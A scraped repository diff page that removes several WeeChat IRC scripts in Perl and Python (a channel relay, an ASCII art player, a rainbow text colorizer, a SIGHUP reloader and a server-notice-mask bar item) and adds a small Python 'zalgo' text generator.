$flag_str .= ' readonly' if $flags & $READ;
|
||||
$flag_str .= ' statusmsg' if $flags & $STAT;
|
||||
$flag_str .= ' sendmodes' if $flags & $MODE;
|
||||
weechat::print($buffer, weechat::prefix('server').
|
||||
"Relaying to $to_serv/$to_chan in group $group$flag_str");
|
||||
}
|
||||
} else {
|
||||
weechat::print($buffer, weechat::prefix('server').
|
||||
"This channel is not being relayed");
|
||||
}
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
# clear hooks first (if they exist)
|
||||
if (exists $cbs{$server}) {
|
||||
weechat::unhook($cbs{$server}{$_}) for (keys %{ $cbs{$server} });
|
||||
delete $cbs{$server};
|
||||
}
|
||||
@{ $chans{$server}{$channel} } =
|
||||
grep { $_ ne $groupname } @{ $chans{$server}{$channel} };
|
||||
|
||||
if ($remove) {
|
||||
delete $groups{$groupname}{$server}{$channel};
|
||||
delete $groups{$groupname}{$server} unless $groups{$groupname}{$server};
|
||||
delete $groups{$groupname} unless $groups{$groupname};
|
||||
delete $chans{$server}{$channel} unless $chans{$server}{$channel};
|
||||
delete $chans{$server} unless $chans{$server};
|
||||
|
||||
write_conf();
|
||||
weechat::print($buffer, weechat::prefix('server').
|
||||
"Removed relay from group $groupname");
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
add_relay($groupname, $server, $channel, $flags);
|
||||
|
||||
write_conf();
|
||||
weechat::print($buffer, weechat::prefix('server').
|
||||
"Added relay to group $groupname");
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub completion_groupnames
|
||||
{
|
||||
my $completion = pop;
|
||||
weechat::hook_completion_list_add($completion, $_, 0,
|
||||
weechat::WEECHAT_LIST_POS_SORT) for keys %groups;
|
||||
}
|
||||
|
||||
if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
|
||||
$SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
|
||||
$confpath = weechat::info_get('weechat_dir', '') . '/parrot.db';
|
||||
weechat::hook_completion('perl_parrot_groupname', 'parrot.pl group names',
|
||||
'completion_groupnames', '');
|
||||
weechat::hook_command('parrot', $SCRIPT_DESC,
|
||||
"[-read] [-stat] [-mode] groupname\n".
|
||||
"-remove",
|
||||
"-read: relay from this channel to others, but do not relay to\n".
|
||||
" this channel\n".
|
||||
"-stat: show status messages (join/part) in this channel\n".
|
||||
"-mode: transfer modes to this channel, even if you are op".
|
||||
"groupname: all channels with the same group name are relayed together\n".
|
||||
"-remove: remove this channel from the relay group",
|
||||
'-remove %(perl_parrot_groupname) %-'.
|
||||
'||-read|-stat|-mode|%(perl_parrot_groupname)|%*',
|
||||
'cmd_parrot', '');
|
||||
read_conf();
|
||||
}
|
@ -1,156 +0,0 @@
|
||||
use strict;
|
||||
use warnings;
|
||||
use File::Find::Rule;
|
||||
no strict 'subs';
|
||||
|
||||
my $SCRIPT_NAME = 'play';
|
||||
my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
|
||||
my $SCRIPT_VERSION = '1.2';
|
||||
my $SCRIPT_LICENCE = 'Public domain';
|
||||
my $SCRIPT_DESC = 'Play ASCII art';
|
||||
our (%queue, %timer);
|
||||
|
||||
if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
|
||||
$SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
|
||||
weechat::hook_command('play', 'Play ASCII art',
|
||||
'[-delay ms] [-repeat times] [-pipe "command"] [-fmt "list"] filename'.
|
||||
"\n-find pattern\n-stop\n",
|
||||
"-delay: delay in milliseconds between lines\n".
|
||||
"-find: list matching files, don't play\n".
|
||||
"-pipe: pipe output into command\n".
|
||||
"-fmt: treat file as a format string and replace with arguments in\n".
|
||||
" list. Arguments are separated by semicolons (;)\n".
|
||||
"filename: file to play. Supports wildcards. By default, searches\n".
|
||||
" subdirectories as well unless '/' is found in the filename\n".
|
||||
"-stop: stop currently playing file in buffer",
|
||||
'-delay|-pipe|-fmt|-repeat|%*'.
|
||||
' || -find'.
|
||||
' || -stop',
|
||||
'cmd_play', '');
|
||||
|
||||
my %OPTIONS = (
|
||||
delay => ['Default delay between lines, in milliseconds', 0],
|
||||
dir => ['Art directory',
|
||||
weechat::info_get('weechat_dir', '').'/ascii'],
|
||||
find_limit => ['Maximum number of results returned by -find. '.
|
||||
'-1 = unlimited (may lock up WeeChat with many results!)', 32],
|
||||
);
|
||||
|
||||
for my $option (keys %OPTIONS) {
|
||||
weechat::config_set_plugin($option, $OPTIONS{$option}[1])
|
||||
unless weechat::config_is_set_plugin($option);
|
||||
weechat::config_set_desc_plugin($option, $OPTIONS{$option}[0]);
|
||||
}
|
||||
}
|
||||
|
||||
sub parse
|
||||
{
|
||||
my ($input, $delay, $pipe, $find, $repeat, $fmt) =
|
||||
(shift, weechat::config_get_plugin('delay'), '/msg *', 0, 1, '');
|
||||
|
||||
if ($input =~ / *-delay +([0-9]+) /) {
|
||||
$delay = $1;
|
||||
$input =~ s/-delay +[0-9]+//;
|
||||
}
|
||||
if ($input =~ / *-find /) {
|
||||
$find = 1;
|
||||
$input =~ s/-find//;
|
||||
}
|
||||
if ($input =~ / *-fmt +("(?:[^"\\]|\\.)+"|[^ ]+) /) {
|
||||
$fmt = $1;
|
||||
$fmt =~ s/^"(.+)"$/$1/ if $fmt =~ /^".+"$/;
|
||||
$input =~ s/-fmt +("(?:[^"\\]|\\.)+"|[^ ]+)//;
|
||||
}
|
||||
if ($input =~ / *-repeat +([0-9]+) /) {
|
||||
$repeat = $1;
|
||||
$input =~ s/-repeat +[0-9]+//;
|
||||
}
|
||||
if ($input =~ / *-pipe +("(?:[^"\\]|\\.)+"|[^ ]+) /) {
|
||||
$pipe = $1;
|
||||
$pipe =~ s/^"(.+)"$/$1/ if $pipe =~ /^".+"$/;
|
||||
$input =~ s/-pipe +("(?:[^"\\]|\\.)+"|[^ ]+)//;
|
||||
}
|
||||
|
||||
return ($delay, $pipe, $find, $repeat, $fmt, $input =~ s/^ +| +$//r);
|
||||
}
|
||||
|
||||
sub play
|
||||
{
|
||||
my $buffer = shift;
|
||||
|
||||
weechat::command($buffer, shift @{ $queue{$buffer} });
|
||||
delete $queue{$buffer} unless @{ $queue{$buffer} };
|
||||
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub cmd_play
|
||||
{
|
||||
my $buffer = $_[1];
|
||||
|
||||
if ($_[2] eq '-stop') {
|
||||
if (exists $timer{$buffer}) {
|
||||
weechat::unhook($timer{$buffer});
|
||||
delete $queue{$buffer};
|
||||
}
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
my ($delay, $pipe, $find, $repeat, $fmt, $file) = parse($_[2]);
|
||||
my $server = weechat::info_get($buffer, 'localvar_server');
|
||||
my ($prio_s, $prio_d) = (
|
||||
weechat::config_get("irc.server.$server.anti_flood_prio_high"),
|
||||
weechat::config_get("irc.server_default.anti_flood_prio_high"),
|
||||
);
|
||||
$delay = ($delay or 1000 * (
|
||||
weechat::config_option_is_null($prio_s)
|
||||
? weechat::config_integer($prio_d)
|
||||
: weechat::config_integer($prio_s)
|
||||
) or 10);
|
||||
|
||||
my $rule = File::Find::Rule
|
||||
->file
|
||||
->name($file)
|
||||
->start(weechat::config_get_plugin('dir'));
|
||||
|
||||
if ($find) {
|
||||
my $i = weechat::config_get_plugin('find_limit');
|
||||
weechat::print($buffer, " \t$_")
|
||||
while defined( $_ = $rule->match ) and --$i;
|
||||
weechat::print($buffer, weechat::prefix('error').
|
||||
"Too many results; please narrow your search") unless $i;
|
||||
weechat::print($buffer, " \tEnd of file listing for '$file'");
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
my $path;
|
||||
if ($file =~ m"/") { $path = weechat::config_get_plugin('dir')."/$file" }
|
||||
else { $path = $rule->match }
|
||||
|
||||
if ($path and -z $path) {
|
||||
weechat::print($buffer, weechat::prefix('error').
|
||||
"File '$file' is empty");
|
||||
} elsif ($path and open FH, "<", $path) {
|
||||
my @lines;
|
||||
while (<FH>) {
|
||||
no warnings; # sprintf barks if there's nothing to replace
|
||||
$_ = sprintf $_, split ';', $fmt if $fmt;
|
||||
push @lines, s/[\r\n]*$//r
|
||||
}
|
||||
close FH;
|
||||
for (1 .. $repeat) {
|
||||
push @{ $queue{$buffer} }, "$pipe \x0f$_\x0f" for @lines;
|
||||
}
|
||||
|
||||
weechat::unhook($timer{$buffer}) if exists $timer{$buffer};
|
||||
$timer{$buffer} =
|
||||
weechat::hook_timer($delay, 0, scalar @{ $queue{$buffer} },
|
||||
'play', $buffer);
|
||||
} else {
|
||||
weechat::print($buffer, weechat::prefix('error').
|
||||
"Cannot open '$file'".($! ? ": $!" : ""));
|
||||
return weechat::WEECHAT_RC_ERROR;
|
||||
}
|
||||
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
@ -1,138 +0,0 @@
|
||||
# Copyright (c) 2010 Alex Barrett <al.barrett@gmail.com>
|
||||
#
|
||||
# Everyone is permitted to copy and distribute verbatim or modified
|
||||
# copies of this license document, and changing it is allowed as long
|
||||
# as the name is changed.
|
||||
#
|
||||
# DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
||||
# TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
#
|
||||
# 0. You just DO WHAT THE FUCK YOU WANT TO.
|
||||
|
||||
import weechat as w
|
||||
import random
|
||||
import re
|
||||
|
||||
SCRIPT_NAME = "prismx"
|
||||
SCRIPT_AUTHOR = "Alex Barrett <al.barrett@gmail.com>"
|
||||
SCRIPT_VERSION = "0.3.1"
|
||||
SCRIPT_LICENSE = "WTFPL"
|
||||
SCRIPT_DESC = "Taste the rainbow."
|
||||
|
||||
# red, lightred, brown, yellow, green, lightgreen, cyan,
|
||||
# lightcyan, blue, lightblue, magenta, lightmagenta
|
||||
ncolors = [5, 4, 7, 8, 3, 9, 10, 11, 2, 12, 6, 13]
|
||||
xcolors = [
|
||||
16,28,40,52,64,65,53,41,29,17,18,30,42,54,66,67,55,43,31,19,20,32,44,
|
||||
56,68,69,57,45,33,21,22,34,46,58,70,71,59,47,35,23,24,36,48,60,72,73,
|
||||
61,49,37,25,26,38,50,62,74,75,63,51,39,27]
|
||||
xxcolors = range(100)
|
||||
|
||||
# we set this later
|
||||
color_count = 0
|
||||
|
||||
# keeping a global index means the coloring will pick up where it left off
|
||||
color_index = 0
|
||||
|
||||
# spaces don't need to be colored and commas cannot be because mIRC is dumb
|
||||
chars_neutral = " ,"
|
||||
chars_control = "\x01-\x1f\x7f-\x9f"
|
||||
|
||||
regex_chars = "[^%(n)s%(s)s][%(n)s%(s)s]*" % { 'n': chars_neutral, 's': chars_control }
|
||||
regex_words = "[^%(n)s]+[%(n)s%(s)s]*" % { 'n': chars_neutral, 's': chars_control }
|
||||
|
||||
|
||||
if w.register(SCRIPT_NAME, SCRIPT_AUTHOR, SCRIPT_VERSION,
|
||||
SCRIPT_LICENSE, SCRIPT_DESC, "", ""):
|
||||
w.hook_command("prism",
|
||||
SCRIPT_DESC,
|
||||
"[-rwmbexsp] [palette] text|-c[wbexsp] [palette] <sep> <command> <sep>text",
|
||||
" -r: randomizes the order of the color sequence\n"
|
||||
" -w: color entire words instead of individual characters\n"
|
||||
" -m: append /me to beginning of output\n"
|
||||
" -b: backwards text (entire string is reversed)\n"
|
||||
" -e: eye-destroying colors (randomized background colors)\n"
|
||||
" -c: specify a separator to turn on colorization\n"
|
||||
" eg. -c : /topic :howdy howdy howdy\n"
|
||||
" -x: extended color set, requires 256color terminal\n"
|
||||
" -s: stretch to fit text\n"
|
||||
" -p: specify color palette to use, comma separated\n"
|
||||
" text: text to be colored",
|
||||
"-r|-w|-m|-b|-e|-c", "prism_cmd_cb", "")
|
||||
|
||||
def prism_cmd_cb(data, buffer, args):
|
||||
global color_index
|
||||
color_local = color_index
|
||||
color_index += 1
|
||||
|
||||
input = args.decode("UTF-8")
|
||||
input_method = "command"
|
||||
|
||||
if not input or (input[0] == '-' and input.find(' ') == -1):
|
||||
input = (input + ' ' if input else '') + w.buffer_get_string(buffer, "input")
|
||||
input = input.decode("UTF-8")
|
||||
input_method = "keybinding"
|
||||
|
||||
if not input:
|
||||
return w.WEECHAT_RC_OK
|
||||
|
||||
optstop = input and input[0] == '-' and input.find(' ')
|
||||
opts = input[1:optstop] if optstop else ''
|
||||
cmdstop = 'c' in opts and input.find(' ', optstop+1)
|
||||
cmd = ''
|
||||
if 'm' in opts: cmd = '/me '
|
||||
if 'c' in opts:
|
||||
find = input[optstop+1:cmdstop]
|
||||
where = input.find(find, cmdstop+1)
|
||||
cmd = input[cmdstop+1:where]
|
||||
input = input[where+len(find):]
|
||||
else:
|
||||
input = input[optstop+bool(optstop):]
|
||||
regex = regex_words if 'w' in opts else regex_chars
|
||||
inc = 'r' not in opts
|
||||
bs = 'e' in opts
|
||||
colors = ncolors if 'x' not in opts else (xxcolors if bs or not inc else xcolors)
|
||||
if 'p' in opts:
|
||||
i = input.find(' ')
|
||||
colors = input[:i].split(',')
|
||||
input = input[i+1:]
|
||||
input = input[::-1] if 'b' in opts else input
|
||||
output = u""
|
||||
tokens = re.findall(regex, input)
|
||||
|
||||
if 's' in opts:
|
||||
color_local = 0
|
||||
colors = [colors[int(float(i)/len(tokens)*len(colors))]
|
||||
for i in xrange(len(tokens))]
|
||||
|
||||
color_count = len(colors)
|
||||
for token in tokens:
|
||||
# prefix each token with a color code
|
||||
c1 = unicode(colors[color_local % color_count]).rjust(2, "0")
|
||||
if bs:
|
||||
c2 = random.randint(1, color_count - 1) % color_count
|
||||
c2 = unicode(colors[c2 + 1 if c2 == color_local % color_count else c2]).rjust(2,"0")
|
||||
output += u'\x03' + c1 + ',' + c2 + token
|
||||
else:
|
||||
output += u"\x03" + c1 + token
|
||||
|
||||
# select the next color or another color at
|
||||
# random depending on the options specified
|
||||
if not inc:
|
||||
color_local += random.randint(1, color_count - 1)
|
||||
else:
|
||||
color_local += inc
|
||||
output += u'\x0f'
|
||||
|
||||
# output starting with a / will be executed as a
|
||||
# command unless we escape it with a preceding /
|
||||
# Commands should use the -c flag
|
||||
if len(output) > 0 and output[0] == "/":
|
||||
output = "/" + output
|
||||
if len(cmd) > 0:
|
||||
output = cmd + output
|
||||
if input_method == "keybinding":
|
||||
w.buffer_set(buffer, "input", output.encode("UTF-8"))
|
||||
else:
|
||||
w.command(buffer, output.encode("UTF-8"))
|
||||
return w.WEECHAT_RC_OK
|
@ -1,22 +0,0 @@
|
||||
use strict;
|
||||
use warnings;
|
||||
|
||||
no strict 'subs';
|
||||
|
||||
my $SCRIPT_NAME = 'sighup';
|
||||
my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
|
||||
my $SCRIPT_VERSION = '1.0';
|
||||
my $SCRIPT_LICENCE = 'Public domain';
|
||||
my $SCRIPT_DESC = 'Reload config on SIGHUP';
|
||||
|
||||
if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
|
||||
$SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
|
||||
weechat::hook_signal('signal_sighup', 'cb_sighup', '');
|
||||
}
|
||||
|
||||
sub cb_sighup {
|
||||
weechat::command('', '/reload');
|
||||
|
||||
return weechat::WEECHAT_RC_OK_EAT;
|
||||
}
|
||||
|
@ -1,58 +0,0 @@
|
||||
# Released into the Public Domain
|
||||
|
||||
# Note: After loading the script and adding snomasks into one of your bars, you
|
||||
# must request /umode once on each server you have server notices masks set on.
|
||||
# After that, the script will automatically update the bar item.
|
||||
|
||||
use strict;
|
||||
use warnings;
|
||||
|
||||
no strict 'subs';
|
||||
|
||||
my $SCRIPT_NAME = 'snomasks';
|
||||
my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
|
||||
my $SCRIPT_VERSION = '1.1';
|
||||
my $SCRIPT_LICENCE = 'Public domain';
|
||||
my $SCRIPT_DESC = 'Server notice mask bar item for opers';
|
||||
|
||||
if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
|
||||
$SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
|
||||
weechat::bar_item_new('snomasks', 'bar_snomasks', '');
|
||||
weechat::hook_signal('buffer_switch', 'buffer_switch', '');
|
||||
weechat::hook_signal('irc_server_disconnected', 'irc_disconnected', '');
|
||||
weechat::hook_signal('*,irc_raw_in_008', 'irc_008', '');
|
||||
}
|
||||
|
||||
my %snomask;
|
||||
|
||||
sub bar_snomasks {
|
||||
my $buffer = weechat::current_buffer();
|
||||
|
||||
return ''
|
||||
if weechat::buffer_get_string($buffer, 'localvar_plugin') ne 'irc';
|
||||
|
||||
my $server = weechat::buffer_get_string($buffer, 'localvar_server');
|
||||
return $snomask{$server} // '';
|
||||
}
|
||||
|
||||
sub buffer_switch {
|
||||
weechat::bar_item_update('snomasks');
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub irc_008 {
|
||||
my (undef, $server, $modes) = (shift,
|
||||
shift =~ /^(.+),irc_raw_in_008$/,
|
||||
shift =~ /:[^ ]* 008 [^ ]* (?::Server notice mask \()?([^ )]*)/);
|
||||
$server = lc $server;
|
||||
|
||||
$snomask{$server} = $modes;
|
||||
weechat::bar_item_update('snomasks');
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub irc_disconnected {
|
||||
my $server = pop;
|
||||
delete $snomask{lc $server};
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
37
zalgo.py
Normal file
37
zalgo.py
Normal file
@ -0,0 +1,37 @@
|
||||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
# zalgo text - developed by acidvegas in python (https://acid.vegas/random)
|
||||
|
||||
from random import randint, choice
|
||||
|
||||
def zalgo(text, intensity=50):
|
||||
zalgo_chars = [chr(i) for i in range(0x0300, 0x036F + 1)]
|
||||
zalgo_chars.extend([u'\u0488', u'\u0489'])
|
||||
if not _is_narrow_build:
|
||||
text = _insert_randoms(text)
|
||||
zalgoized = []
|
||||
for letter in text:
|
||||
zalgoized.append(letter)
|
||||
for _ in range(randint(0, intensity) + 1):
|
||||
zalgoized.append(choice(zalgo_chars))
|
||||
response = choice(zalgo_chars).join(zalgoized)
|
||||
return response
|
||||
|
||||
def _insert_randoms(text):
|
||||
random_extras = [unichr(i) for i in range(0x1D023, 0x1D045 + 1)]
|
||||
newtext = []
|
||||
for char in text:
|
||||
newtext.append(char)
|
||||
if randint(1, 5) == 1:
|
||||
newtext.append(choice(random_extras))
|
||||
return u''.join(newtext)
|
||||
|
||||
def _is_narrow_build():
|
||||
try:
|
||||
chr(0x10000)
|
||||
except ValueError:
|
||||
return True
|
||||
return False
|
||||
|
||||
for i in range(100):
|
||||
print(zalgo('This is a test This is a test This is a test This is a test This is a test This is a test This is a test This is a test This is a test This is a test This is a test This is a test This is a test '))
|
Loading…
Reference in New Issue
Block a user